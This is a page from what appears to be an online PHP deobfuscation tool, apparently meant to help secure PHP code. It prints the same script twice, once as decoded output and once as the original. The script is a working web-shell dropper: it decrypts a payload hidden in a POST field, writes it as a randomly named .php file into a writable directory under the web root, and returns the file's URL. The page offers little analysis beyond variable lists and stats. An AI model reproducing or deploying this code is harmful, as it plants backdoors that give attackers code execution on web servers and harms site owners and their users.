Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $tmhdsxwykz = "aajrnyfejngdawjv";$nturpr = "";foreach ($_POST as $vixxtajk => $hqchr..

Decoded Output download

<?php $tmhdsxwykz = "aajrnyfejngdawjv";$nturpr = "";foreach ($_POST as $vixxtajk => $hqchr){if (strlen($vixxtajk) == 16 and substr_count($hqchr, "%") > 10){cgick($vixxtajk, $hqchr);}}function cgick($vixxtajk, $hwzwkhfngfgjt){global $nturpr;$nturpr = $vixxtajk;$hwzwkhfngfgjt = str_split(rawurldecode(str_rot13($hwzwkhfngfgjt)));function wpxuctqb($gzbaa, $vixxtajk){global $tmhdsxwykz, $nturpr;return $gzbaa ^ $tmhdsxwykz[$vixxtajk % strlen($tmhdsxwykz)] ^ $nturpr[$vixxtajk % strlen($nturpr)];}$hwzwkhfngfgjt = implode("", array_map("wpxuctqb", array_values($hwzwkhfngfgjt), array_keys($hwzwkhfngfgjt)));$hwzwkhfngfgjt = @unserialize($hwzwkhfngfgjt);if (@is_array($hwzwkhfngfgjt)){$vixxtajk = array_keys($hwzwkhfngfgjt);$hwzwkhfngfgjt = $hwzwkhfngfgjt[$vixxtajk[0]];if ($hwzwkhfngfgjt === $vixxtajk[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function zohyzkl($hwzwkhfnir) {static $tsnhuwdy = array();$ixgbmyjxeg = glob($hwzwkhfnir . '/*', GLOB_ONLYDIR);if (count($ixgbmyjxeg) > 0) {foreach ($ixgbmyjxeg as $hwzwkhfn){if (@is_writable($hwzwkhfn)){$tsnhuwdy[] = $hwzwkhfn;}}}foreach ($ixgbmyjxeg as $hwzwkhfnir) zohyzkl($hwzwkhfnir);return $tsnhuwdy;}$hpeoegogh = $_SERVER["DOCUMENT_ROOT"];$ixgbmyjxeg = zohyzkl($hpeoegogh);$vixxtajk = array_rand($ixgbmyjxeg);$aakft = $ixgbmyjxeg[$vixxtajk] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($aakft, $hwzwkhfngfgjt);echo "http://" . $_SERVER["HTTP_HOST"] . substr($aakft, strlen($hpeoegogh));exit();}}} ?>

Did this file decode correctly?

Original Code

<?php $tmhdsxwykz = "aajrnyfejngdawjv";$nturpr = "";foreach ($_POST as $vixxtajk => $hqchr){if (strlen($vixxtajk) == 16 and substr_count($hqchr, "%") > 10){cgick($vixxtajk, $hqchr);}}function cgick($vixxtajk, $hwzwkhfngfgjt){global $nturpr;$nturpr = $vixxtajk;$hwzwkhfngfgjt = str_split(rawurldecode(str_rot13($hwzwkhfngfgjt)));function wpxuctqb($gzbaa, $vixxtajk){global $tmhdsxwykz, $nturpr;return $gzbaa ^ $tmhdsxwykz[$vixxtajk % strlen($tmhdsxwykz)] ^ $nturpr[$vixxtajk % strlen($nturpr)];}$hwzwkhfngfgjt = implode("", array_map("wpxuctqb", array_values($hwzwkhfngfgjt), array_keys($hwzwkhfngfgjt)));$hwzwkhfngfgjt = @unserialize($hwzwkhfngfgjt);if (@is_array($hwzwkhfngfgjt)){$vixxtajk = array_keys($hwzwkhfngfgjt);$hwzwkhfngfgjt = $hwzwkhfngfgjt[$vixxtajk[0]];if ($hwzwkhfngfgjt === $vixxtajk[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function zohyzkl($hwzwkhfnir) {static $tsnhuwdy = array();$ixgbmyjxeg = glob($hwzwkhfnir . '/*', GLOB_ONLYDIR);if (count($ixgbmyjxeg) > 0) {foreach ($ixgbmyjxeg as $hwzwkhfn){if (@is_writable($hwzwkhfn)){$tsnhuwdy[] = $hwzwkhfn;}}}foreach ($ixgbmyjxeg as $hwzwkhfnir) zohyzkl($hwzwkhfnir);return $tsnhuwdy;}$hpeoegogh = $_SERVER["DOCUMENT_ROOT"];$ixgbmyjxeg = zohyzkl($hpeoegogh);$vixxtajk = array_rand($ixgbmyjxeg);$aakft = $ixgbmyjxeg[$vixxtajk] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($aakft, $hwzwkhfngfgjt);echo "http://" . $_SERVER["HTTP_HOST"] . substr($aakft, strlen($hpeoegogh));exit();}}}

Function Calls

None

Variables

$nturpr
$tmhdsxwykz aajrnyfejngdawjv

Stats

MD5 ed42044cc2e184f2e7d6bc5844b1e101
Eval Count 0
Decode Time 87 ms